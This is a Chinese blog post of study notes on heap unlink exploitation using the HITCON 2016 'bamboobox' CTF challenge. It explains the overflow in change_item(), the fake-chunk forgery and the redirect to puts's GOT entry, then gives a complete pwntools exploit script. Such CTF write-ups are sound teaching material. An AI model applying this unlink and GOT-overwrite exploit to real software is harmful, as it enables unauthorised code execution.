【PWN-HEAP】Unlink學習筆記

題目練習

HITCON2016 bamboobox

反編譯情況:

在這裏插入圖片描述在這裏插入圖片描述
在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述在這裏插入圖片描述

程序分析

把程序的功能閱讀完成之後,發現這個程序用到一個結構體的數組用於管理結構體。
所以整理結構體如下:

struts Node{
   int size;
   char string[size];
}

從下圖change_item() 中的代碼可以看到,這裏先輸入一個長度,然後轉化成int類型之後作爲read讀入的長度。
在這裏插入圖片描述若輸入的長度大於malloc出來的長度,則可以造成堆溢出。
這裏保存chunk的指針也保存在bss段(從qword_6020C8可以看出來,或者進行動態調試也行)。

EXP編寫思路

這裏的核心思想是將寫數據從heap變成bss,也就是說藉助堆溢出僞造fake_chunk->改寫人工malloc的第二個chunk頭部的inused標誌->free( 人工malloc的第二個chunk )來觸發unlink操作->改寫保存chunk的指針內容爲ptr-3*8(改寫到了某個函數的got表)->調用該函數 -> 任意地址讀寫。

首先申請3個0x80大小的chunk,填入任意字符串,之後觀察heap的內容:
在這裏插入圖片描述
接下來改寫Chunk0裏面的內容,僞造出一個fake_chunk,順便溢出改寫Chunk1的頭部。
在這裏插入圖片描述此時ptr指針的內容如下:
在這裏插入圖片描述
緊接着Free掉Chunk1,觸發unlink,向前(Chunk0)合併,然後這個時候的ptr變成如下內容
在這裏插入圖片描述
緊接着往0x6020b0裏面填入數據,把0x6020b0~0x6020d0改成如下內容:
在這裏插入圖片描述最後一個操作就是UAF的操作,修改Chunk1,實際上就變成了修改0x602020(puts函數的GOT)裏面的數據。此時如果改成magic函數的地址,再調用puts函數,實際上就是調用了magic函數。
在這裏插入圖片描述在這裏插入圖片描述#### 完整EXP:
這裏參考網絡上公開的EXP,感謝這位大神~

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['terminator','-x','bash','-c']
cn = process('./bamboobox')
bin = ELF('./bamboobox')

itemlist = 0x00000000006020C0
p_chunk0 = itemlist+8

def add_item(length,name):
	cn.sendline('2')
	cn.recvuntil('the length of item name:')
	cn.sendline(str(length))
	cn.recvuntil('the name of item:')
	cn.sendline(name)

def change_item(index,length,name):
	cn.sendline('3')
	cn.recvuntil('the index of item:')
	cn.sendline(str(index))
	cn.recvuntil('the length of item name:')
	cn.sendline(str(length))
	cn.recvuntil('new name of the item:')
	cn.sendline(name)

def remove_item(index):
	cn.sendline('4')
	cn.recvuntil('the index of item:')
	cn.sendline(str(index))

def show_item():
	cn.sendline('1')
	data = cn.recvuntil('----------------------------')
	return data

add_item(256,'aaaaaaaa')#chunk0
add_item(256,'bbbbbbbb')#chunk1
add_item(256,'cccccccc')#chunk2

pay = p64(0)+p64(256+1)+p64(p_chunk0-0x18)+p64(p_chunk0-0x10)
pay += 'A'*(256-4*8)
pay += p64(256)+p64(256+0x10) + 'test'

change_item(0,len(pay),pay)

remove_item(1)

pay2 = '\x00'*0x18 + p64(p_chunk0-0x18) + p64(0) + p64(bin.got['puts'])
change_item(0,len(pay2),pay2)

change_item(1,16,p64(bin.symbols['magic']))
flag = cn.recv()

log.success("the flag is : "+flag)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章